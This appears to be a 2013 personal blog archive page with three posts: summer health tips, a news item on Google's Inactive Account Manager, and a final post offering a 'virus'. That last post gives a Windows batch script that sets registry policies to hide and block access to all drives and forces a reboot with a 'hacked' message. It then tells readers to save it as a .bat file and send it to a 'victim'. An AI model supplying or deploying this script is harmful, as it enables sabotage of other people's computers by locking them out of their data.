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Saturday, 13 April 2013

Health Tips for this summer



1. Give Your Diet a Berry Boost

If you do one thing this summer to improve your diet, have a cup of mixed fresh berries -- blackberries, blueberries, or strawberries -- every day. They'll help you load up on antioxidants, which may help prevent damage to tissues and reduce the risks of age-related illnesses. Blueberries and blackberries are especially antioxidant-rich.

A big bonus: Berries are also tops in fiber, which helps keep cholesterol low and may even help prevent some cancers.

2. Get Dirty -- and Stress Less

To improve your stress level, plant a small garden, cultivate a flower box, or if space is really limited, plant a few flower pots -- indoors or out.

Just putting your hands in soil is "grounding." And when life feels like you're moving so fast your feet are barely touching the stuff, being mentally grounded can help relieve physical and mental stress.

3. Floss Daily

You know you need to, now it's time to start: floss every single day. Do it at the beach (in a secluded spot), while reading on your patio, or when watching TV -- and the task will breeze by.

Flossing reduces oral bacteria, which improves overall body health, and if oral bacteria is low, your body has more resources to fight bacteria elsewhere. Floss daily and you're doing better than at least 85% of people.

4. Get Outside to Exercise

Pick one outdoor activity -- going on a hike, taking a nature walk, playing games such as tag with your kids, cycling, roller blading, or swimming -- to shed that cooped-up feeling of gym workouts.

And remember, the family that plays together not only gets fit together -- it's also a great way to create bonding time.

5. Be Good to Your Eyes

To protect your vision at work and at play, wear protective eyewear. When outdoors, wear sunglasses that block at least 99% of ultraviolet A and B rays. Sunglasses can help prevent cataracts, as well as wrinkles around the eyes.

And when playing sports or doing tasks such as mowing the lawn, wear protective eyewear. Ask your eye doctor about the best type; some are sport-specific.

6. Vacation Time!

Improve your heart health: take advantage of summer's slower schedule by using your vacation time to unwind.

Vacations have multiple benefits: They can help lower your blood pressure, heart rate, and stress hormones such as cortisol, which contributes to a widening waist and an increased risk of heart disease.

7. Alcohol: Go Lite

Summer's a great time to skip drinks with hard alcohol and choose a light, chilled alcoholic beverage (unless you are pregnant or should not drink for health or other reasons).

A sangria (table wine diluted with juice), a cold beer, or a wine spritzer are all refreshing but light. In moderation -- defined as one to two drinks daily -- alcohol can protect against heart disease.

8. Sleep Well

Resist the urge to stay up later during long summer days. Instead pay attention to good sleep hygiene by keeping the same bedtime and wake-up schedule and not drinking alcohol within three hours of bedtime.

It's also a good idea to avoid naps during the day unless you take them every day at the same time, for the same amount of time.

There they are: Eight super simple ways to boost your health this summer. Try one or try them all. They're so easy you won't even know they're -- shhhh -- good for you.

Google ‘digital afterlife’ . Use Google account after death.



An Inactive Account Manager can be used to direct Google to pass on data from online venues such as Google Drive, Gmail, YouTube or social network Google+ to particular people or be deleted after being dormant for too long.

“What should happen to your photos, emails and documents when you stop using your account?” Google said in a message at an account settings page. “You might want your data to be shared with a trusted friend or family member, or, you might want your account to be deleted entirely.

“Whatever the reason, we give you the option of deciding what happens to your data.”

Google lets people specify how long to wait before taking action, and the California-based Internet giant will send account holders email or text message reminders before “timeout” periods are ended.

The feature was added as people increasingly trust their data and memories to online social networks, data storage facilities and other services hosted in the Internet cloud. Facebook, for example, allows members to have accounts “memorialized” after they die.

Monday, 1 April 2013

Virus code to disable All Hard disk of any computer



Hi friends, today i will share with you a code that how to make a virus.

Code :

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f

I think this code will simple. It is easy to create the batch file also.
Copy the above code to notepad.
Save it with .bat extension (for ex: nodrivevirus.bat)
Send the file to your victim